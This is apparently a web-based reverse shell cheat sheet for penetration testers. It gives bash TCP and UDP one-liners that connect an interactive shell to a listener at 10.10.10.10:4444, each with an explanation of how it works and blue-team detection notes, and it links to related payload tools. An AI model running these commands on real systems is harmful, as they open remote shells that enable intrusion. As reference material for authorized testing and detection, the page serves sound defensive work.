Authorized Use Only: This reference is for study, defense, and authorized penetration testing. Pay special attention to the Detection Notes to understand how Blue Teams hunt for these indicators.

Platform / Category

Listener IP (Attacker)

Listener Port

Bash TCP Reverse Shell

bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

How it works

Creates an interactive bash shell and redirects standard input, output, and error to a TCP socket connected to the listener.

Requirements

Requires bash to be compiled with /dev/tcp support (default on most modern Linux distros).

Blue Team / Detection

Look for 'bash -i' in process command lines, anomalous outbound connections to non-standard ports from web servers, or '/dev/tcp' in shell history.

Recommended Tools

Bash UDP Reverse Shell

sh -i >& /dev/udp/10.10.10.10/4444 0>&1

How it works

Similar to TCP, but uses UDP. Requires a UDP listener (e.g., nc -u -lvp PORT).

Requirements

Requires bash compiled with /dev/udp support.

Blue Team / Detection

Look for '/dev/udp' in command lines and anomalous UDP traffic leaving the server.

Recommended Tools

Related Tools

Rules of Engagement Builder

Create a bounded, safety-first pentest scope document before testing.

HTTP Request Builder

Build, inspect, modify and export HTTP requests locally without sending them.

Payload Encoder

Encode and transform security testing payloads locally using a processing pipeline.

Web Payload Lab

Explore and transform common web security payloads in a local educational sandbox.